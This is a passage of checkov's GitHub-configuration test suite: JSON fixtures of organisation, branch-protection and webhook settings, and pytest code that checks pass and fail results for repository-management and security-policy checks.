"2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "main@mail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": true, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/fail1_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "main@mail.com", "default_repository_permission": "read", "members_can_create_repositories": true, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_public_repositories": true, "members_can_create_private_repositories": true, "members_can_create_internal_repositories": true, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/fail2.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/fail2_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "node-id", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "all", "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/pass.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "O_kgDOBtV_lw", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": false, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "none", "members_can_create_public_repositories": false, "members_can_create_private_repositories": false, "members_can_create_internal_repositories": false, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubPublicRepositoryCreationIsLimited/pass_org_metadata.json ================================================ { "login": "KiteFlyingInTheSky", "id": 123456, "node_id": "O_kgDOBtV_lw", "url": "https://api.github.com/orgs/KiteFlyingInTheSky", "repos_url": "https://api.github.com/orgs/KiteFlyingInTheSky/repos", "events_url": "https://api.github.com/orgs/KiteFlyingInTheSky/events", "hooks_url": "https://api.github.com/orgs/KiteFlyingInTheSky/hooks", "issues_url": "https://api.github.com/orgs/KiteFlyingInTheSky/issues", "members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/members{/member}", "public_members_url": "https://api.github.com/orgs/KiteFlyingInTheSky/public_members{/member}", "avatar_url": "https://avatars.githubusercontent.com/u/114655127?v=4", "description": null, "is_verified": false, "has_organization_projects": true, "has_repository_projects": true, "public_repos": 1, "public_gists": 0, "followers": 0, "following": 0, "html_url": "https://github.com/KiteFlyingInTheSky", "created_at": "2022-09-29T09:05:46Z", "updated_at": "2022-10-02T10:24:25Z", "type": "Organization", "total_private_repos": 1, "owned_private_repos": 1, "private_gists": 0, "disk_usage": 380, "collaborators": 0, "billing_email": "kabirmaryna@gmail.com", "default_repository_permission": "read", "members_can_create_repositories": false, "two_factor_requirement_enabled": false, "members_allowed_repository_creation_type": "none", "members_can_create_public_repositories": false, "members_can_create_private_repositories": false, "members_can_create_internal_repositories": false, "members_can_create_pages": true, "members_can_fork_private_repositories": false, "web_commit_signoff_required": false, "members_can_create_public_pages": true, "members_can_create_private_pages": true, "plan": { "name": "free", "space": 976562499, "private_repos": 10000, "filled_seats": 2, "seats": 0 }, "advanced_security_enabled_for_new_repositories": false, "dependabot_alerts_enabled_for_new_repositories": false, "dependabot_security_updates_enabled_for_new_repositories": false, "dependency_graph_enabled_for_new_repositories": false, "secret_scanning_enabled_for_new_repositories": false, "secret_scanning_push_protection_enabled_for_new_repositories": false, "secret_scanning_push_protection_custom_link_enabled": false, "secret_scanning_push_protection_custom_link": null } ================================================ FILE: tests/github/checks/repo_management/GithubRepositoryDeletionIsLimited/expected.yaml ================================================ pass: - "pass.json" fail: ================================================ FILE: tests/github/checks/repo_management/GithubRepositoryDeletionIsLimited/pass.json ================================================ { "CKV_GITHUB_DEFAULT": null } ================================================ FILE: tests/github/checks/test_python_policies.py ================================================ from __future__ import annotations from pathlib import Path import pytest from time_machine import travel from checkov.github.runner import Runner from checkov.runner_filter import RunnerFilter from tests.common.graph.checks.test_yaml_policies_base import load_yaml_data BASE_DIR = Path(__file__).parent CHECK_ID_MAP: "dict[str, str]" = {} # will be filled via setup() def test_GithubBranchDisallowDeletions(): run_check(base_path=BASE_DIR / "branch_security", check="GithubBranchDisallowDeletions") def test_GithubBranchDismissStaleReviews(): run_check(base_path=BASE_DIR / "branch_security", check="GithubBranchDismissStaleReviews") def test_GithubBranchDismissalRestrictions(): run_check(base_path=BASE_DIR / "branch_security", check="GithubBranchDismissalRestrictions") def test_GithubBranchRequireCodeOwnerReviews(): run_check(base_path=BASE_DIR / "branch_security", check="GithubBranchRequireCodeOwnerReviews") def test_GithubBranchRequireConversationResolution(): run_check(base_path=BASE_DIR / "branch_security", check="GithubBranchRequireConversationResolution") def test_GithubBranchRequirePushRestrictions(): run_check(base_path=BASE_DIR / "branch_security", check="GithubBranchRequirePushRestrictions") def test_GithubBranchRequireStatusChecks(): run_check(base_path=BASE_DIR / "branch_security", check="GithubBranchRequireStatusChecks") def test_GithubRequire2Approvals(): run_check(base_path=BASE_DIR / "branch_security", check="GithubRequire2Approvals") @travel("2022-12-05") def test_GithubDisallowInactiveBranch60Days(): run_check(base_path=BASE_DIR / "branch_security", check="GithubDisallowInactiveBranch60Days") def test_GithubRequireUpdatedBranch(): run_check(base_path=BASE_DIR / "branch_security", check="GithubRequireUpdatedBranch") def test_GithubPublicRepositoryCreationIsLimited(): run_check(base_path=BASE_DIR / "repo_management", check="GithubPublicRepositoryCreationIsLimited") def test_GithubInternalRepositoryCreationIsLimited(): run_check(base_path=BASE_DIR / "repo_management", check="GithubInternalRepositoryCreationIsLimited") def test_GithubPrivateRepositoryCreationIsLimited(): run_check(base_path=BASE_DIR / "repo_management", check="GithubPrivateRepositoryCreationIsLimited") def test_GithubMinimumAdminsInOrganization(): run_check(base_path=BASE_DIR / "contribution_access", check="GithubMinimumAdminsInOrganization") def test_GithubRequireStrictBasePermissionsRepository(): run_check(base_path=BASE_DIR / "contribution_access", check="GithubRequireStrictBasePermissionsRepository") def test_GithubRequireOrganizationIsVerified(): run_check(base_path=BASE_DIR / "contribution_access", check="GithubRequireOrganizationIsVerified") @pytest.fixture(autouse=True) def setup(): global CHECK_ID_MAP runner = Runner() registry = runner.import_registry() CHECK_ID_MAP = {check.__class__.__name__: check.id for entity, check in registry.all_checks()} def run_check(base_path: Path, check: str) -> None: # set path where to find test files test_dir_path = base_path / check # setup GitHub configuration runner runner = Runner() runner.github.github_conf_dir_path = str(test_dir_path) # run actual check report = runner.run(runner_filter=RunnerFilter(checks=CHECK_ID_MAP[check])) # get actual results summary = report.get_summary() passed_checks = {check.file_path.lstrip("/") for check in report.passed_checks} failed_checks = {check.file_path.lstrip("/") for check in report.failed_checks} # get expected results expected = load_yaml_data(dir_path=test_dir_path, source_file_name="expected.yaml") # make sure it is a dict assert isinstance(expected, dict) expected_to_pass = expected.get("pass") or [] expected_to_fail = expected.get("fail") or [] # check, if results are correct assert summary["passed"] == len(expected_to_pass) assert summary["failed"] == len(expected_to_fail) assert summary["skipped"] == 0 assert summary["parsing_errors"] == 0 assert passed_checks == set(expected_to_pass) assert failed_checks == set(expected_to_fail) ================================================ FILE: tests/github/resources/github_conf/collaborators/repository_collaborators.json ================================================ [ { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false, "permissions": { "pull": true, "triage": true, "push": true, "maintain": false, "admin": false }, "role_name": "write" } ] ================================================ FILE: tests/github/resources/github_conf/empty_collabs/repository_collaborators.json ================================================ [] ================================================ FILE: tests/github/resources/github_conf/fail/org_security.json ================================================ { "data": { "organization": { "name": "Bridgecrew", "login": "bridgecrewio", "description": "Secure public cloud infrastructure", "ipAllowListEnabledSetting": "DISABLED", "ipAllowListForInstalledAppsEnabledSetting": "DISABLED", "requiresTwoFactorAuthentication": false } } } ================================================ FILE: tests/github/resources/github_conf/pass/org_security.json ================================================ { "data": { "organization": { "name": "Bridgecrew", "login": "bridgecrewio", "description": "Secure public cloud infrastructure", "ipAllowListEnabledSetting": "ENABLED", "ipAllowListForInstalledAppsEnabledSetting": "ENABLED", "requiresTwoFactorAuthentication": true, "samlIdentityProvider": { "ssoUrl": "https://bridgecrew.okta.com/app/githubcloud/foo/sso/saml" } } } } ================================================ FILE: tests/github/resources/github_conf/repo/branch_protection.json ================================================ { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection", "required_status_checks": { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_status_checks", "contexts": [ "continuous-integration/travis-ci" ], "contexts_url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_status_checks/contexts", "enforcement_level": "non_admins" }, "enforce_admins": { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/enforce_admins", "enabled": true }, "required_pull_request_reviews": { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/required_pull_request_reviews", "dismissal_restrictions": { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/dismissal_restrictions", "users_url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/dismissal_restrictions/users", "teams_url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/dismissal_restrictions/teams", "users": [ { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false } ], "teams": [ { "id": 1, "node_id": "MDQ6VGVhbTE=", "url": "https://api.github.com/teams/1", "html_url": "https://github.com/orgs/github/teams/justice-league", "name": "Justice League", "slug": "justice-league", "description": "A great team.", "privacy": "closed", "permission": "admin", "members_url": "https://api.github.com/teams/1/members{/member}", "repositories_url": "https://api.github.com/teams/1/repos", "parent": null } ] }, "dismiss_stale_reviews": true, "require_code_owner_reviews": true, "required_approving_review_count": 2 }, "restrictions": { "url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/restrictions", "users_url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/restrictions/users", "teams_url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/restrictions/teams", "apps_url": "https://api.github.com/repos/octocat/Hello-World/branches/master/protection/restrictions/teams", "users": [ { "login": "octocat", "id": 1, "node_id": "MDQ6VXNlcjE=", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "gravatar_id": "", "url": "https://api.github.com/users/octocat", "html_url": "https://github.com/octocat", "followers_url": "https://api.github.com/users/octocat/followers", "following_url": "https://api.github.com/users/octocat/following{/other_user}", "gists_url": "https://api.github.com/users/octocat/gists{/gist_id}", "starred_url": "https://api.github.com/users/octocat/starred{/owner}{/repo}", "subscriptions_url": "https://api.github.com/users/octocat/subscriptions", "organizations_url": "https://api.github.com/users/octocat/orgs", "repos_url": "https://api.github.com/users/octocat/repos", "events_url": "https://api.github.com/users/octocat/events{/privacy}", "received_events_url": "https://api.github.com/users/octocat/received_events", "type": "User", "site_admin": false } ], "teams": [ { "id": 1, "node_id": "MDQ6VGVhbTE=", "url": "https://api.github.com/teams/1", "html_url": "https://github.com/orgs/github/teams/justice-league", "name": "Justice League", "slug": "justice-league", "description": "A great team.", "privacy": "closed", "permission": "admin", "members_url": "https://api.github.com/teams/1/members{/member}", "repositories_url": "https://api.github.com/teams/1/repos", "parent": null } ], "apps": [ { "id": 1, "slug": "octoapp", "node_id": "MDExOkludGVncmF0aW9uMQ==", "owner": { "login": "github", "id": 1, "node_id": "MDEyOk9yZ2FuaXphdGlvbjE=", "url": "https://api.github.com/orgs/github", "repos_url": "https://api.github.com/orgs/github/repos", "events_url": "https://api.github.com/orgs/github/events", "hooks_url": "https://api.github.com/orgs/github/hooks", "issues_url": "https://api.github.com/orgs/github/issues", "members_url": "https://api.github.com/orgs/github/members{/member}", "public_members_url": "https://api.github.com/orgs/github/public_members{/member}", "avatar_url": "https://github.com/images/error/octocat_happy.gif", "description": "A great organization" }, "name": "Octocat App", "description": "", "external_url": "https://example.com", "html_url": "https://github.com/apps/octoapp", "created_at": "2017-07-08T16:18:44-04:00", "updated_at": "2017-07-08T16:18:44-04:00", "permissions": { "metadata": "read", "contents": "read", "issues": "write", "single_file": "write" }, "events": [ "push", "pull_request" ] } ] }, "required_linear_history": { "enabled": true }, "allow_force_pushes": { "enabled": true }, "allow_deletions": { "enabled": true }, "required_conversation_resolution": { "enabled": true } } ================================================ FILE: tests/github/resources/github_conf/repo_no_rules/branch_protection_rules.json ================================================ { "message": "Branch not protected", "documentation_url": "https://docs.github.com/rest/reference/repos#get-branch-protection" } ================================================ FILE: tests/github/resources/github_conf/webhooks/org_webhooks.json ================================================ [ { "type": "Organization", "id": 1, "name": "web", "active": true, "events": [ "push" ], "config": { "content_type": "form", "insecure_ssl": "0", "secret": "********", "url": "https://example.com/test" }, "updated_at": "2022-07-28T12:13:19Z", "created_at": "2022-07-28T12:13:19Z", "url": "https://api.github.com/orgs/acmeio/hooks/1", "ping_url": "https://api.github.com/orgs/acmeio/hooks/1/pings", "deliveries_url": "https://api.github.com/orgs/acmeio/hooks/1/deliveries" } ] ================================================ FILE: tests/github/resources/github_conf/webhooks/org_webhooks_fail.json ================================================ [ { "type": "Organization", "id": 1, "name": "web", "active": true, "events": [ "push" ], "config": { "content_type": "form", "insecure_ssl": "0", "secret": "********", "url": "http://example.com/test" }, "updated_at": "2022-07-28T12:13:19Z", "created_at": "2022-07-28T12:13:19Z", "url": "https://api.github.com/orgs/acmeio/hooks/1", "ping_url": "https://api.github.com/orgs/acmeio/hooks/1/pings", "deliveries_url": "https://api.github.com/orgs/acmeio/hooks/1/deliveries" } ] ================================================ FILE: tests/github/resources/github_conf/webhooks/repository_webhooks.json ================================================ [ { "type": "Repository", "id": 2, "name": "web", "active": true, "events": [ "pull_request", "push" ], "config": { "content_type": "json", "url": "https://hub.docker.com/api/build/v1/vcs/example/trigger/call/", "insecure_ssl": "0" }, "updated_at": "2080-06-03T20:38:56Z", "created_at": "2080-03-16T22:07:28Z", "url": "https://api.github.com/repos/myorg/example/hooks/2", "test_url": "https://api.github.com/repos/myorg/example/hooks/2/test", "ping_url": "https://api.github.com/repos/myorg/example/hooks/2/pings", "deliveries_url": "https://api.github.com/repos/myorg/example/hooks/2/deliveries", "last_response": { "code": 202, "status": "active", "message": "OK" } }, { "type": "Repository", "id": 1, "name": "web", "active": true, "events": [ "push" ], "config": { "content_type": "json", "url": "https://pyup.io/provider/github/webhook/s/", "insecure_ssl": "0" }, "updated_at": "2080-07-15T11:32:53Z", "created_at": "2080-07-15T11:32:53Z", "url": "https://api.github.com/repos/myorg/example/hooks/234258606", "test_url": "https://api.github.com/repos/myorg/example/hooks/234258606/test", "ping_url": "https://api.github.com/repos/myorg/example/hooks/234258606/pings", "deliveries_url": "https://api.github.com/repos/myorg/example/hooks/234258606/deliveries", "last_response": { "code": 404, "status": "missing", "message": "Invalid HTTP Response: 404" } }, { "type": "Repository", "id": 1, "name": "web", "active": true, "events": [ "create" ], "config": { "content_type": "json", "insecure_ssl": "0", "url": "https://y.acme.cloud/generic-webhook-trigger/invoke?token=m" }, "updated_at": "2081-08-30T09:58:53Z", "created_at": "2081-08-30T09:58:12Z", "url": "https://api.github.com/repos/myorg/example/hooks/1", "test_url": "https://api.github.com/repos/myorg/example/hooks/1/test", "ping_url": "https://api.github.com/repos/myorg/example/hooks/1/pings", "deliveries_url": "https://api.github.com/repos/myorg/example/hooks/1/deliveries", "last_response": { "code": 503, "status": "external_service_offline", "message": "Invalid HTTP Response: 503" } } ] ================================================ FILE: tests/github/test_dal.py ================================================ import os from unittest import mock from pytest_mock import MockerFixture from checkov.github.dal import Github @mock.patch.dict(os.environ, {"GITHUB_ORG": "simpleOrg"}, clear=True) def test_org_security_null_description(mocker: MockerFixture): dal = Github() mock_data = { "data": { "organization": { "name": "Bridgecrew", "login": "Bridgecrew-dev", "description": None, "ipAllowListEnabledSetting": "DISABLED", "ipAllowListForInstalledAppsEnabledSetting": "DISABLED", "requiresTwoFactorAuthentication": False, "samlIdentityProvider": None } } } mocker.patch("checkov.common.vcs.base_vcs_dal.BaseVCSDAL._request_graphql", return_value=mock_data) result = dal.get_organization_security() assert result @mock.patch.dict(os.environ, {"GITHUB_ORG": "simpleOrg"}, clear=True) def test_org_security_str_description(mocker: MockerFixture): dal = Github() mock_data = { "data": { "organization": { "name": "Bridgecrew", "login": "Bridgecrew-dev", "description": "", "ipAllowListEnabledSetting": "DISABLED", "ipAllowListForInstalledAppsEnabledSetting": "DISABLED", "requiresTwoFactorAuthentication": False, "samlIdentityProvider": None } } } mocker.patch("checkov.common.vcs.base_vcs_dal.BaseVCSDAL._request_graphql", return_value=mock_data) result = dal.get_organization_security() assert result @mock.patch.dict(os.environ, {"GITHUB_REPO_OWNER": "bridgecrew", "GITHUB_REPOSITORY": "main"}, clear=True) def test_org_webhooks(mocker: MockerFixture): dal = Github() mock_data = [ { "type": "Organization", "id": 0, "name": "web", "active": True, "events": [ "*" ], "config": { "content_type": "form", "insecure_ssl": "0", "url": "http://test-repo-webhook.com" }, "updated_at": "2022-10-02T12:39:12Z", "created_at": "2022-09-29T09:01:36Z", "url": "", "test_url": "", "ping_url": "", "deliveries_url": "" } ] mocker.patch("checkov.common.vcs.base_vcs_dal.BaseVCSDAL._request", return_value=mock_data) result = dal.get_repository_webhooks() assert result @mock.patch.dict(os.environ, {"GITHUB_REPO_OWNER": "bridgecrew", "GITHUB_REPOSITORY": "main"}, clear=True) def test_repository_webhooks(mocker: MockerFixture): dal = Github() mock_data = [ { "type": "Repository", "id": 0, "name": "web", "active": True, "events": [ "*" ], "config": { "content_type": "form", "insecure_ssl": "0", "url": "http://test-repo-webhook.com" }, "updated_at": "2022-10-02T12:39:12Z", "created_at": "2022-09-29T09:01:36Z", "url": "", "test_url": "", "ping_url": "", "deliveries_url": "" } ] mocker.patch("checkov.common.vcs.base_vcs_dal.BaseVCSDAL._request", return_value=mock_data) result = dal.get_repository_webhooks() assert result def test_validate_github_conf_paths(): # check that all the files in github_conf folder that should be updated with new data from GitHub api reply, # are empty.In case of no reply-no old data should be left causing confusion with new retrieved data. dal = Github() all_files_are_empty = True for github_conf_type, files in dal.github_conf_file_paths.items(): for file_path in files: all_files_are_empty &= not os.path.isfile(file_path) or os.path.getsize(file_path) == 0 assert all_files_are_empty ================================================ FILE: tests/github/test_runner.py ================================================ import os import unittest from pathlib import Path from unittest import mock from checkov.common.bridgecrew.check_type import CheckType from checkov.common.bridgecrew.severities import Severities, BcSeverities from checkov.github.runner import Runner from checkov.runner_filter import RunnerFilter from checkov.github.registry import registry class TestRunnerValid(unittest.TestCase): def test_registry_has_type(self): self.assertEqual(registry.report_type, CheckType.GITHUB_CONFIGURATION) @mock.patch.dict(os.environ, {"CKV_GITHUB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1", "GITHUB_REF": "refs/heads/feature-branch-1"}, clear=True) def test_runner_webhooks_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "github_conf", "webhooks") runner = Runner() runner.github.github_conf_dir_path = valid_dir_path checks = ["CKV_GITHUB_6", "CKV_GITHUB_7"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(len(report.failed_checks), 1) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 2) self.assertEqual(report.skipped_checks, []) @mock.patch.dict(os.environ, {"CKV_GITHUB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1", "GITHUB_REF": "refs/heads/feature-branch-1"}, clear=True) def test_runner_object_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "github_conf", "fail") runner = Runner() runner.github.github_conf_dir_path = valid_dir_path checks = ["CKV_GITHUB_1", "CKV_GITHUB_2", "CKV_GITHUB_3"] report = runner.run( root_folder=valid_dir_path, runner_filter=RunnerFilter(checks=checks) ) self.assertEqual(runner.github.current_branch, "feature-branch-1") self.assertEqual(len(report.failed_checks), 3) self.assertEqual(report.parsing_errors, []) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(report.skipped_checks, []) @mock.patch.dict(os.environ, {"CKV_GITHUB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1", "GITHUB_REF": "refs/heads/feature-branch-1"}, clear=True) def test_runner_object_failing_check(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "github_conf", "fail") runner = Runner() runner.github.github_conf_dir_path = valid_dir_path filter = RunnerFilter(framework=['github_configuration'], use_enforcement_rules=True) # this is not quite a true test, because the checks don't have severities. However, this shows that the check registry # passes the report type properly to RunnerFilter.should_run_check, and we have tests for that method filter.enforcement_rule_configs = {CheckType.GITHUB_CONFIGURATION: Severities[BcSeverities.OFF]} report = runner.run( root_folder=valid_dir_path, runner_filter=filter ) self.assertEqual(runner.github.current_branch, "feature-branch-1") self.assertEqual(len(report.failed_checks), 0) self.assertEqual(len(report.passed_checks), 0) self.assertEqual(len(report.skipped_checks), 0) self.assertEqual(len(report.parsing_errors), 0) @mock.patch.dict(os.environ, {"CKV_GITHUB_CONFIG_FETCH_DATA": "False", "PYCHARM_HOSTED": "1"}, clear=True) def test_runner_repo_security(self): current_dir = os.path.dirname(os.path.realpath(__file__)) valid_dir_path = os.path.join(current_dir, "resources", "github_conf", "repo") runner = Runner() runner.github.github_conf_dir_path = valid_dir_path 